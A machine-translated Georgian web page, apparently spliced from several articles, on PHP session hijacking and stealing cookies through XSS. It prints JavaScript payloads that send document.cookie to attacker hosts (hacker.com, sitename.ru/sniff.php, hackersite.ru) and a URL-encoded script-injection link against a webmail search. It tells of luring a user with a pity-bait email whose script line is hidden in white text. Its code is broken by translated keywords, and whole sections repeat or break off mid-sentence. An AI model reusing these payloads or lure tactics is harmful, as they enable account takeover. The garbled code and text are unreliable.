სესიის ქურდობა. უსაფრთხო პროგრამირება PHP-ში. სესიის ქურდობა ქუქიების ქურდობა

სიახლეები 09.12.2020
სიახლეები
  • მომხმარებელს სთხოვს შესვლა და პაროლი.
  • თუ ავტორიზაცია წარმატებულია, ახალი სესია იქმნება მნიშვნელობით „წარმატებული ავტორიზაცია“.
  • მომხმარებელს ენიჭება უნიკალური იდენტიფიკატორი (SID), რომლის წინასწარ პროგნოზირება შეუძლებელია და, შესაბამისად, მისი არჩევა შეუძლებელია :).
  • SID ან იწერება ბრაუზერის ქუქი-ფაილებში, ან გადაეცემა ბრაუზერის მისამართის ზოლის მეშვეობით (თუ ქუქიები გამორთულია).
  • წარმატებული ავტორიზაციის შედეგად, სკრიპტი ხელმისაწვდომი ხდება ცვლადების მნიშვნელობებისთვის სუპერგლობალური მასივიდან $_SESSION, რომლის არსებობის საფუძველზეც სკრიპტი უზრუნველყოფს წვდომას ზოგიერთ რესურსზე, მაგალითად, საიტის ადმინისტრაციის პანელზე წვდომას.

    პრობლემა ის არის, რომ თუ თავდამსხმელი როგორმე აღმოაჩენს სხვა მომხმარებლის SID-ს, მას შეუძლია შეცვალოს იგი თავის ქუქი-ფაილებში ან ბრაუზერის მისამართის ზოლში და შევიდეს საიტზე ამ მომხმარებლის უფლებებით.

    კომენტარი

    რამდენიმე წლის წინ იყო რამდენიმე სკანდალი, როდესაც დისტანციური საბანკო ანგარიშის მართვის სისტემები ქმნიდნენ უნიკალურ ნომერს (SID) უბრალოდ ერთის დამატებით გამოყენებულ ბოლო მნიშვნელობაზე. სწრაფმა ავტორიზაციამ გამოიწვია ორი SID მნიშვნელობის გაცემა, მაგალითად 40346 და 40348. ნომრის 40347 ჩანაცვლებამ დაუშვა სხვის ანგარიშზე წვდომა :).

    ამჟამად, SID წარმოადგენს რიცხვებისა და ასოების უნიკალურ თანმიმდევრობას, რომელიც არ არის დაკავშირებული მეტრთან. მაგრამ როგორ აღმოაჩენს თავდამსხმელი სხვისი SID-ს?

    არსებობს ორი ყველაზე გავრცელებული ვარიანტი:

    1. მაგალითად, თავად სესიის მფლობელმა აჩვენა ეს, დაუდევრად დატოვა ამ ტიპის ბმული სადმე ფორუმზე ან სტუმრების წიგნში.

    http://forum.dklab.ru/?sid=

    ამ მისამართზე გადასვლა ავტომატურად ანიჭებს თავდამსხმელს მომხმარებლის უფლებებს, ვისთვისაც არის გამოყოფილი სესია იდენტიფიკატორით.
    რა თქმა უნდა, მომხმარებლის სესია განადგურებულია, თუ გარკვეული დროის შემდეგ აქტივობა არ არის. და ამიტომ თავდამსხმელმა უნდა იჩქაროს :). მეორეს მხრივ, ობობების საერთო გავრცელება შესაძლებელს ხდის ამგვარი ბმულების მიზნობრივი ავტომატური ძიების ორგანიზებას.

    2. მაშინაც კი, თუ სესია არ არის ცალსახად მითითებული ბრაუზერის ხაზში, მაგრამ ინახება Cookies-ში. თავდამსხმელს ჯერ კიდევ აქვს იდენტიფიკატორის ფლობის შესაძლებლობა. მოდით შევხედოთ პატარა სკრიპტს უბრალო სტუმრების წიგნისთვის.



    ტექსტი:


    addmsg.php დამმუშავებლის შიგთავსი წარმოდგენილია ქვემოთ

    გთხოვთ გაითვალისწინოთ, რომ სკრიპტს აშკარად გამოტოვებს htmlspecialchars() ფუნქციის გამოძახება, რომელიც გარდაქმნის სიმბოლოებს< в < и >c > შედეგად, თავდამსხმელს შეუძლია ტექსტში ჩასვას ნებისმიერი HTML ტეგი და JavaScript სკრიპტი.

    window.open ("http://hacker.com/get.php?"+document.cookie, "ახალი")

    მაშ რას მივიღებთ? მცირე ზედამხედველობა (როგორც ჩანს, მათ უბრალოდ გამოტოვეს რამდენიმე htmlspecialchars() ბრაუზერში შეტყობინების ჩვენებამდე), რაც საშუალებას აძლევს თავდამსხმელის გვერდის ჩატვირთვას ახალ ფანჯარაში, გადასცემს მას მნიშვნელობებს ქუქიებიდან.
    ამ ტიპის დაუცველობასთან საბრძოლველად უმჯობესია „მდგრადი“ მეთოდების გამოყენება, პრინციპით „ყველაფერი, რაც დაუშვებელია, აკრძალულია“. თქვენ არ უნდა დამალოთ SID და ტექსტი დაექვემდებაროს მრავალსაფეხურიან შემოწმებას - ამ შემთხვევაში შეცდომების შექმნის ალბათობა მხოლოდ იზრდება. ამ შემთხვევაში უფრო საიმედოა SID-ის მიბმის მეთოდი სესიის მფლობელი მომხმარებლის IP მისამართთან. ეს მეთოდი ფართოდ გამოიყენება ბევრ ცნობილ ფორუმში, როგორიცაა phpBB.
    ავტორიზაციის სკრიპტი

    შემდეგ სკრიპტი, რომელიც უზრუნველყოფს კონკრეტულ რესურსზე წვდომას, შეიძლება შეიცავდეს შემდეგ კოდს

    იმათ. ახლა მხოლოდ მომხმარებელს, რომლის IP მისამართი ემთხვევა სერვერზე ავტორიზაციის დროს გადაცემულ IP მისამართს, შეუძლია ამ სესიასთან მუშაობა. თუ თავდამსხმელი წყვეტს სესიას, მაშინ მას აქვს სხვა IP მისამართი :) - შესაბამისად, მას ეკრძალება წვდომა.

    ეს მეთოდი არ არის უნივერსალური და აქვს სისუსტეებიც.

  • თუ მომხმარებელი და თავდამსხმელი შედიან ინტერნეტში საერთო პროქსი სერვერის საშუალებით, მაშინ მათ ექნებათ ერთი საერთო IP მისამართი (ეს დამახასიათებელია უნივერსიტეტების, ქარხნების და სხვა დიდი დაწესებულებების ქსელებისთვის), ე.ი. ნებისმიერს შეუძლია მოიპაროს მეზობლის SID, ყოველ შემთხვევაში ზემოთ აღნიშნული მეთოდების გამოყენებით.
  • რომელშიც შემოთავაზებული იყო უფასო ღონისძიებაზე დასწრება, რომელიც ეძღვნებოდა ინფორმაციული უსაფრთხოების საკითხებს. ვინაიდან ღონისძიება ჩემს ქალაქში გაიმართა, გადავწყვიტე, რომ აუცილებლად მჭირდებოდა იქ წასვლა. პირველი გაკვეთილი მიეძღვნა დაუცველობას ვებსაიტებზე, როგორიცაა XSS. გაკვეთილის შემდეგ გადავწყვიტე, რომ მიღებული ცოდნის რეალურ პირობებში კონსოლიდაცია მჭირდებოდა. ავირჩიე რამდენიმე საიტი, რომელიც ჩემს ქალაქს ეხებოდა და დავიწყე ჩემი სცენარის ყველა ფორმაში ჩასმის მცდელობა. უმეტეს შემთხვევაში სკრიპტი გაფილტრული იყო. მაგრამ მოხდა ისე, რომ "გაფრთხილება" გააქტიურდა და ჩემი შეტყობინება გამოჩნდა. აღმოჩენილი დაუცველობა შევატყობინე ადმინისტრატორებს და მათ სწრაფად გამოასწორეს ყველაფერი.

    ერთ-ერთ ამ დღეს, mail.ru-ზე უახლესი ფოსტის შემოწმებისას, საფოსტო ყუთში ასოების ძიების ფორმამ მომაქცია თვალი. ხანდახან ვიყენებდი ამ ძიებას, რათა მეპოვა რაღაც რაც მჭირდებოდა ჩემი ძველი წერილების გროვაში. კარგი, რადგან ბოლო ორი დღის განმავლობაში მე ჩავდე ჩემი "გაფრთხილება" თითქმის ყველგან, სადაც შემეძლო, ჩემი ხელი რეფლექსურად მიაღწია ამ საძიებო ფორმას. აკრიფე ჩემი სკრიპტის კოდი და დავაჭირე Enter. წარმოიდგინეთ ჩემი გაოცება, როცა ეკრანზე მტკივნეულად ნაცნობი შეტყობინება დავინახე...


    Open InfoSec Days-ის ლექციაზე მომხსენებელმა თქვა, რომ პროგრამისტები საკმაოდ სკეპტიკურად უყურებენ ამ ტიპის დაუცველობას და ამბობენ: „გაფრთხილება? აბა, მერე რა? ეს არ არის საშიში". თუ სხვა საიტებზე მხოლოდ ამ ფანჯრით დავკმაყოფილდი ჩემი შეტყობინებებით, მაშინ ამ შემთხვევაში გადავწყვიტე უფრო შორს წავსულიყავი და მეჩვენებინა რა შეიძლება მოჰყვეს ასეთ „გაფრთხილებას“.

    ასე რომ, სკრიპტი მუშაობს, რაც ნიშნავს, რომ არის დაუცველობა. ამიტომ, შეგიძლიათ სცადოთ სხვა სკრიპტის გაშვება. მაგალითად, სკრიპტი, რომელიც გვიგზავნის სხვა მომხმარებლის ქუქი-ფაილებს. იმისთვის, რომ სკრიპტმა იმუშაოს, ჩვენ უნდა ვაიძულოთ მომხმარებელი შეასრულოს ჩვენი სკრიპტი. ეს შეიძლება გაკეთდეს მისთვის წერილის გაგზავნით შესაბამისი ბმულით, რომელზეც დაწკაპუნების შემდეგ მოხდება საფოსტო ყუთის ძებნა და ჩვენთვის საჭირო კოდი შესრულდება.

    გარკვეული დრო და ბევრი ექსპერიმენტი დასჭირდა დაუცველობის მექანიკის გასაგებად. ხან სკრიპტი მუშაობდა, ხან იფილტრებოდა. გარკვეული ძალისხმევის შემდეგ, ემპირიულად დადგინდა, რომ სცენარი 100%-ით მუშაობს მხოლოდ იმ შემთხვევაში, თუ ასოების ძიება დადებით შედეგს იძლევა. ანუ როცა მომხმარებელი ახორციელებს ძიებას ჩვენი სკრიპტით, აუცილებელია მის საფოსტო ყუთში ერთი ასო მაინც მოიძებნოს მოცემული პარამეტრების მიხედვით. ამის მოწყობა არ არის რთული.

    ასევე, „გაფრთხილების“ ნაცვლად, ჩვენ გვჭირდება სკრიპტი, რომელიც გადასცემს ქუქი-ფაილებს ჩვენს სნაიფერს. ჩვენ დავწერთ ამ სკრიპტს ცალკე ფაილში და ჩავტვირთავთ მას ჩვენს ძიებაში. შევქმენი test.js ფაილი საჭირო კოდით და ავტვირთე ჰოსტინგში. სკრიპტის კოდი ასეთია:

    Img=ახალი სურათი();
    img.src="http://sitename.ru/sniff.php?cookie="+document.cookie;
    ფუნქცია F() (
    ადგილმდებარეობა="http://www.solife.ru";
    }
    setTimeout (F, 5000);

    რისი გარკვევა მინდა აქ. თავდამსხმელის ადგილას თავი დავანებოთ. ჩვენ გვჭირდება მომხმარებელმა დააწკაპუნოს ბმულზე. როგორ ვაიძულო მას ამის გაკეთება? შეგიძლიათ დაპირდეთ ოქროს მთებს და მათი მისაღებად თქვენ უნდა მიჰყვეთ ჩვენს ბმულს საიტზე. მაგრამ არამგონია იმოქმედოს. ხალხი ამას აღარ სცდება (მე თვითონ გამუდმებით ვშლი ასეთ წერილებს წაკითხვის გარეშეც კი). მაშასადამე, ჩვენ ვითამაშებთ ადამიანურ სიბრალულზე, რადგან ის ჯერ კიდევ არსებობს ბუნებაში. გთხოვთ, ხმა მისცეთ საიტზე გადაშენების პირას მყოფი ცხოველების გადასარჩენად. ჯერ ავიღებთ ქუქი-ფაილებს, შემდეგ კი მომხმარებელს გადამისამართებთ ხმის მიცემის საიტზე. გადამისამართების ვადა დაყენდა 5 წამზე, წინააღმდეგ შემთხვევაში ქუქი-ფაილებს უბრალოდ არ ჰქონდათ დრო სნაიფერზე გადასატანად და მომხმარებელი მაშინვე გადამისამართდა ცხოველების შესახებ საიტზე. "გაფრთხილების" ნაცვლად მე გამოვიყენე შემდეგი სკრიპტი:

    სცენარები რომ დავასრულე, წერილის წერა დავიწყე. მე მომივიდა მსგავსი რამ:


    საკმაოდ ცინიკურად გამომივიდა, მაგრამ ვცდილობდი პირობები მაქსიმალურად მიმეახლოებინა რეალობასთან. წერილის ბოლოს არის სტრიქონი სკრიპტით, ეს არის ისე, რომ ჩვენი ასო მოიძებნება, როდესაც ჩვენ გავაკეთებთ ძიებას. ხაზმა რომ ზედმეტი კითხვები არ დაბადოს, თეთრად დავხატე. სიტყვა "http"-შიც დავდე ინტერვალი, რომ სტრიქონი არ იყოს ამოცნობილი და ბმულად გადაქცევა. წინააღმდეგ შემთხვევაში, მიუხედავად იმისა, რომ სკრიპტის ხაზი დაწერილია თეთრი შრიფტით, ბმული ლურჯად იქნება მონიშნული მიმღების მიერ და ჩვენ ეს არ გვჭირდება. გონიერი ძიება მაინც იპოვის და ამოიცნობს ამ სტრიქონს, მიუხედავად ინტერვალისა.

    E.mail.ru/cgi-bin/gosearch?q_folder=0&q_query=%27%3E%3Cscript%20src%3D%27http%3A%2F%2Fsitename.ru%2Ftest.js%27%3E%3C%2Fscript%3E

    მე გამოვიყენე URL კოდირება სკრიპტისთვის ისე, რომ არაფერი გაფილტრულიყო. მე ასევე დავამატე პარამეტრი "q_folder=0" საძიებლად, რათა ძიება მოხდეს "Inbox" საქაღალდეში.

    წერილი მზადაა, ვაგზავნით. მე გამოვიყენე ჩემი მეორე საფოსტო ყუთი იმავე სერვისზე, როგორც მიმღები. ვნახოთ, რა მოვიდა მეორე ყუთში.

    ჩვენი სკრიპტის ტექსტი არ ჩანს, რადგან ის ერწყმის ფონს. მოდით დავაჭიროთ ბმულს და ვნახოთ რა მოხდება. მომხმარებელი გადაადგილდება ელ.ფოსტის ძიების შედეგებში ჩვენ მიერ მითითებული პარამეტრის მიხედვით. ჩვენი წერილი, რომელიც გავგზავნეთ, ჩანს ძიების შედეგებში. ამ დროისთვის, ჩვენმა სკრიპტმა უკვე იმუშავა და მომხმარებლის ქუქი-ფაილები გაუგზავნა სნაიფერს. 5 წამის შემდეგ (დრო დამოკიდებულია სკრიპტის პარამეტრებზე), მომხმარებელი გადამისამართებულია ხმის მიცემის საიტზე.

    მე ვამოწმებ ჩემს sniff.txt ფაილს:

    ვინაიდან ჩემი მიზანი არ არის სხვა ადამიანების ყუთების მოპარვა ან მათზე წვდომა, ამ ამბავს აქ დავასრულებ. მაგრამ თეორიულად, თქვენ შეგიძლიათ შეცვალოთ თქვენი ქუქიები სხვისით და მიიღოთ წვდომა სხვის საფოსტო ყუთზე. ზოგადად, თუ თავდამსხმელი დაინტერესებულია სამიზნით, ის იპოვის გამოყენებას მიღებულ ინფორმაციას.

    მინდა მადლობა გადავუხადო სერგეი ბელოვს (

  • მომხმარებელს სთხოვს შესვლა და პაროლი.
  • თუ ავტორიზაცია წარმატებულია, ახალი სესია იქმნება მნიშვნელობით „წარმატებული ავტორიზაცია“.
  • მომხმარებელს ენიჭება უნიკალური იდენტიფიკატორი (SID), რომლის წინასწარ პროგნოზირება შეუძლებელია და, შესაბამისად, მისი არჩევა შეუძლებელია :).
  • SID ან იწერება ბრაუზერის ქუქი-ფაილებში, ან გადაეცემა ბრაუზერის მისამართის ზოლის მეშვეობით (თუ ქუქიები გამორთულია).
  • წარმატებული ავტორიზაციის შედეგად, სკრიპტი ხელმისაწვდომი ხდება $_SESSION სუპერგლობალური მასივიდან $_SESSION ცვლადების მნიშვნელობებისთვის, რომელთა არსებობის საფუძველზე სკრიპტი უზრუნველყოფს წვდომას ზოგიერთ რესურსზე, მაგალითად, საიტის ადმინისტრაციის პანელზე წვდომას.

    პრობლემა ის არის, რომ თუ თავდამსხმელი როგორმე აღმოაჩენს სხვა მომხმარებლის SID-ს, მას შეუძლია შეცვალოს იგი ქუქი-ფაილების ან ბრაუზერის მისამართის ზოლში და შევიდეს საიტზე ამ მომხმარებლის უფლებებით.

    კომენტარი

    რამდენიმე წლის წინ იყო რამდენიმე სკანდალი, როდესაც დისტანციური საბანკო ანგარიშის მართვის სისტემები ქმნიდნენ უნიკალურ ნომერს (SID) უბრალოდ ერთის დამატებით გამოყენებულ ბოლო მნიშვნელობაზე. სწრაფმა ავტორიზაციამ გამოიწვია ორი SID მნიშვნელობის გაცემა, მაგალითად 40346 და 40348. ნომრის 40347 ჩანაცვლებამ დაუშვა სხვის ანგარიშზე წვდომა :).

    ამჟამად, SID წარმოადგენს რიცხვებისა და ასოების უნიკალურ თანმიმდევრობას, რომელიც არ არის დაკავშირებული მეტრთან. მაგრამ როგორ აღმოაჩენს თავდამსხმელი სხვისი SID-ს?

    არსებობს ორი ყველაზე გავრცელებული ვარიანტი:

    1. მაგალითად, თავად სესიის მფლობელმა აჩვენა ეს, დაუდევრად დატოვა ამ ტიპის ბმული სადმე ფორუმზე ან სტუმრების წიგნში.

    Http://forum.dklab.ru/?sid=

    ამ მისამართზე გადასვლა ავტომატურად ანიჭებს თავდამსხმელს მომხმარებლის უფლებებს, ვისთვისაც არის გამოყოფილი სესია იდენტიფიკატორით.
    რა თქმა უნდა, მომხმარებლის სესია განადგურებულია, თუ გარკვეული დროის შემდეგ აქტივობა არ არის. და ამიტომ თავდამსხმელმა უნდა იჩქაროს :). მეორეს მხრივ, ობობების მთლიანი გავრცელება შესაძლებელს ხდის ამგვარი ბმულების მიზნობრივი ავტომატური ძიების ორგანიზებას.

    2. მაშინაც კი, თუ სესია პირდაპირ არ არის მითითებული ბრაუზერის ხაზში, მაგრამ ინახება Cookies-ში. თავდამსხმელს ჯერ კიდევ აქვს შესაძლებლობა დაეუფლოს იდენტიფიკატორს. მოდით შევხედოთ პატარა სკრიპტს უბრალო სტუმრების წიგნისთვის.



    ტექსტი:


    addmsg.php დამმუშავებლის შიგთავსი წარმოდგენილია ქვემოთ

    გთხოვთ გაითვალისწინოთ, რომ სკრიპტი აშკარად გამოტოვებს htmlspecialchars() ფუნქციის გამოძახებას, რომელიც გარდაქმნის სიმბოლოებს >-ში, რის შედეგადაც თავდამსხმელს შეუძლია ტექსტში ჩასვას ნებისმიერი HTML ტეგი და JavaScript სკრიპტი.

    window.open ("http://hacker.com/get.php?"+document.cookie, "ახალი")

    მაშ რას მივიღებთ? მცირე ზედამხედველობა (როგორც ჩანს, მათ უბრალოდ გამოტოვეს რამდენიმე htmlspecialchars() ბრაუზერში შეტყობინების ჩვენებამდე), რაც საშუალებას აძლევს თავდამსხმელის გვერდის ჩატვირთვას ახალ ფანჯარაში, გადასცემს მას მნიშვნელობებს ქუქიებიდან.
    ამ ტიპის დაუცველობასთან საბრძოლველად უმჯობესია „მდგრადი“ მეთოდების გამოყენება, პრინციპით „ყველაფერი, რაც დაუშვებელია, აკრძალულია“. თქვენ არ უნდა დამალოთ SID და ტექსტი დაექვემდებაროს მრავალსაფეხურიან შემოწმებას - ამ შემთხვევაში შეცდომების შექმნის ალბათობა მხოლოდ იზრდება. ამ შემთხვევაში უფრო საიმედოა SID-ის მიბმის მეთოდი სესიის მფლობელი მომხმარებლის IP მისამართთან. ეს მეთოდი ფართოდ გამოიყენება ბევრ ცნობილ ფორუმში, როგორიცაა phpBB.
    ავტორიზაციის სკრიპტი

    შემდეგ სკრიპტი, რომელიც უზრუნველყოფს კონკრეტულ რესურსზე წვდომას, შეიძლება შეიცავდეს შემდეგ კოდს

    იმათ. ახლა ამ სესიასთან მუშაობა შეუძლია მხოლოდ მომხმარებელს, რომლის IP მისამართი ემთხვევა სერვერზე ავტორიზაციის დროს გადაცემულ IP მისამართს. თუ თავდამსხმელი წყვეტს სესიას, მაშინ მას აქვს სხვა IP მისამართი :) - შესაბამისად, მას ეკრძალება წვდომა.

    ეს მეთოდი არ არის უნივერსალური და აქვს სისუსტეებიც.

  • თუ მომხმარებელი და თავდამსხმელი შედიან ინტერნეტში საერთო პროქსი სერვერის საშუალებით, მაშინ მათ ექნებათ ერთი საერთო IP მისამართი (ეს დამახასიათებელია უნივერსიტეტების, ქარხნების და სხვა დიდი დაწესებულებების ქსელებისთვის), ე.ი. ნებისმიერს შეუძლია მოიპაროს მეზობლის SID, ყოველ შემთხვევაში ზემოთ აღნიშნული მეთოდების გამოყენებით.
  • თუ მომხმარებელი იყენებს მოდემს და კავშირი დაიკარგა, მაშინ კავშირის აღდგენის შემდეგ მას დიდი ალბათობით სხვა IP მისამართი მიენიჭება. მომხმარებელი შეიძლება უსიამოვნოდ გაოცდეს, თუ ის განურჩევლად შედის თავდამსხმელთა რიგებში (აქედან გამომდინარე, არ ღირს უსაფრთხოების სისტემებში მუქარის და სინდისისადმი მიმართვის წერა - ასეთ სისტემებსაც აქვთ შეცდომები). ბოლო ნაკლი ჩნდება ფორუმებზე, სადაც ვიზიტორებს აქვთ ჩვევა, გამორთონ ინტერნეტი და იმუშაონ ოფლაინზე გრძელი პასუხის აკრეფისას. ღილაკზე „პასუხის“ დაჭერით მივყავართ იმ ფაქტს, რომ ყველა აკრეფილი ინფორმაცია იკარგება, ვინაიდან არავინ ზრუნავს თავდამსხმელის მიერ აკრეფილი ტექსტის შენახვაზე :))).
  • გასვლა: (უფრო სწორად ნახევრად გასასვლელი) იდენტიფიკაციისთვის IP მისამართის მხოლოდ პირველი 3 ციფრის შემოწმება ჯერ კიდევ სტატისტიკურად ნაკლებად სავარაუდოა, თუმცა, ეს უმეტეს შემთხვევაში საშუალებას გაძლევთ მიიღოთ უფრო ლმობიერი მიდგომა გათიშვასთან დაკავშირებით, რადგან პროვაიდერები ჩვეულებრივ არიან; გამოყო IP მისამართების განუყოფელი დიაპაზონი, რომელშიც მხოლოდ ბოლო ციფრი იცვლება.

    რა არის ქუქი?

    არსებობს მექანიზმი, რომელიც საშუალებას აძლევს http სერვერს შეინახოს გარკვეული ტექსტური ინფორმაცია მომხმარებლის კომპიუტერში და შემდეგ შევიდეს მასზე. ამ ინფორმაციას ქუქი-ფაილი ეწოდება. არსებითად, თითოეული ქუქი არის წყვილი: პარამეტრის სახელი და მისი მნიშვნელობა. თითოეულ ქუქი-ფაილს ასევე ენიჭება დომენი, რომელსაც ეკუთვნის. უსაფრთხოების მიზეზების გამო, ყველა ბრაუზერში http სერვერს აქვს წვდომა მხოლოდ მისი დომენის ქუქიზე. გარდა ამისა, ქუქი-ფაილებს შეიძლება ჰქონდეს ვადის გასვლის თარიღი, ამ შემთხვევაში ისინი შეინახება კომპიუტერში ამ თარიღამდე, თუნდაც დახუროთ ბრაუზერის ყველა ფანჯარა.


    რატომ არის ქუქიები მნიშვნელოვანი?

    ყველა მრავალ მომხმარებლის სისტემა იყენებს ქუქიებს მომხმარებლის იდენტიფიცირებისთვის. უფრო ზუსტად, მომხმარებლის მიმდინარე კავშირი სერვისთან, მომხმარებლის სესია. თუ ვინმე ამოიცნობს თქვენს ქუქიებს, ის შეძლებს თქვენი სახელით სისტემაში შესვლას. იმის გამო, რომ ამჟამად ძალიან ცოტა ინტერნეტ რესურსი ამოწმებს IP მისამართის ცვლილებას მომხმარებლის ერთი სესიის განმავლობაში.


    როგორ შევცვალოთ ან შევცვალოთ ქუქიები?

    ბრაუზერის დეველოპერები არ უზრუნველყოფენ ჩაშენებულ ინსტრუმენტებს ქუქიების რედაქტირებისთვის. მაგრამ თქვენ შეგიძლიათ გაუმკლავდეთ ჩვეულებრივი ნოუთბუქით.


    ნაბიჯი 1: შექმენით ტექსტური ფაილი ტექსტით

    Windows Registry Editor ვერსია 5.00



    @="C:\\IE_ext.htm"

    შეინახეთ იგი სახელწოდებით IE_ext.reg

    ნაბიჯი 2: შექმნილი ფაილის გამოყენებით, დაამატეთ ცვლილებები Windows რეესტრში.

    ნაბიჯი 3: შექმენით ტექსტური ფაილი ტექსტით

    < script language ="javascript">
    external.menuArguments.clipboardData.setData("ტექსტი" , external.menuArguments.document.cookie);

    external.menuArguments.document.cookie= "testname=testvalue; path=/; domain=testdomain.ru" ;
    alert(external.menuArguments.document.cookie);


    შეინახეთ ის სახელით C:\IE_ext.htm

    ნაბიჯი 4: ჩვენ მივდივართ ჩვენ დაინტერესებულ ვებსაიტზე.

    ნაბიჯი 5: დააწკაპუნეთ მაუსის მარჯვენა ღილაკით გვერდზე ცარიელ ადგილას და აირჩიეთ მენიუს ელემენტი "Cookies-თან მუშაობა". გაცვლის ბუფერზე წვდომის დაშვება. თქვენი ქუქიები ამ საიტიდან გადავა ბუფერში. შეგიძლიათ ჩასვათ მათი ბლოკნოტი და დაათვალიეროთ.


    ნაბიჯი 6: ზოგიერთი ქუქიის შესაცვლელად, შეცვალეთ ფაილი C:\IE_ext.htm, ჩაანაცვლეთ ტესტის სახელიქუქი-ფაილის სახელით, ტესტის ღირებულება- მის მნიშვნელობაზე, testdomain.ru– საიტის დომენზე. საჭიროების შემთხვევაში, დაამატეთ მსგავსი ხაზები. კონტროლის გასაადვილებლად, სკრიპტს დავამატე მიმდინარე ქუქიების გამომავალი ცვლილებამდე და მის შემდეგ: alert(external.menuArguments.document.cookie);

    ნაბიჯი 7: კვლავ შეასრულეთ ნაბიჯი 5 და შემდეგ განაახლეთ გვერდი.

    დედააზრი: ჩვენ მივიღებთ ამ ინტერნეტ რესურსს განახლებული ქუქი-ფაილებით.

    როგორ მოვიპაროთ ქუქიები JavaScript-ის გამოყენებით?

    თუ თავდამსხმელი მოახერხებს მსხვერპლის კომპიუტერზე თვითნებური JavaScript სკრიპტის შესრულების შესაძლებლობას, მაშინ მას შეუძლია ძალიან მარტივად წაიკითხოს მიმდინარე ქუქიები. მაგალითი:


    var str= document.cookie;

    მაგრამ შეძლებს ის მათ გადაიტანოს თავის საიტზე, რადგან, როგორც ადრე აღვნიშნე, JavaScript სკრიპტი ვერ შეძლებს სხვა დომენზე მდებარე საიტზე წვდომას დამატებითი დადასტურების გარეშე? გამოდის, რომ JavaScript სკრიპტს შეუძლია ჩატვირთოს ნებისმიერი სურათი, რომელიც მდებარეობს ნებისმიერ http სერვერზე. ამავდროულად, გადმოწერეთ ნებისმიერი ტექსტური ინფორმაცია ჩამოტვირთვის მოთხოვნაში ამ სურათზე. მაგალითი: http://hackersite.ru/xss.jpg?text_infoასე რომ, თუ ამ კოდს გაუშვით:

    var img=ახალი სურათი();

    img.src="http://hackersite.ru/xss.jpg?" + encodeURI (document.cookie);


    შემდეგ ქუქი-ფაილი დასრულდება „სურათის“ ჩამოტვირთვის მოთხოვნაში და „მიდის“ თავდამსხმელთან.

    როგორ გავუმკლავდეთ ასეთ მოთხოვნებს „სურათის“ ჩამოსატვირთად?

    თავდამსხმელს მხოლოდ უნდა მოძებნოს ჰოსტინგი PHP მხარდაჭერით და განათავსოს აქ ასეთი კოდი:


    შემდეგ ამ სკრიპტის მოთხოვნის ყველა პარამეტრი შეინახება ფაილში log.txt. რჩება მხოლოდ ჩანაცვლება ადრე აღწერილი JavaScript სკრიპტში http://hackersite.ru/xss.jpgამ php სკრიპტის გზაზე.


    ქვედა ხაზი

    მე ვაჩვენე მხოლოდ უმარტივესი გზა XSS დაუცველობის გამოსაყენებლად. მაგრამ ეს ადასტურებს, რომ სულ მცირე ერთი ასეთი დაუცველობის არსებობა მრავალმომხმარებელ ინტერნეტ-საიტზე შეუძლია თავდამსხმელს საშუალება მისცეს გამოიყენოს თავისი რესურსები თქვენი სახელით.



    ჩვენ გირჩევთ წაიკითხოთ

    ზედა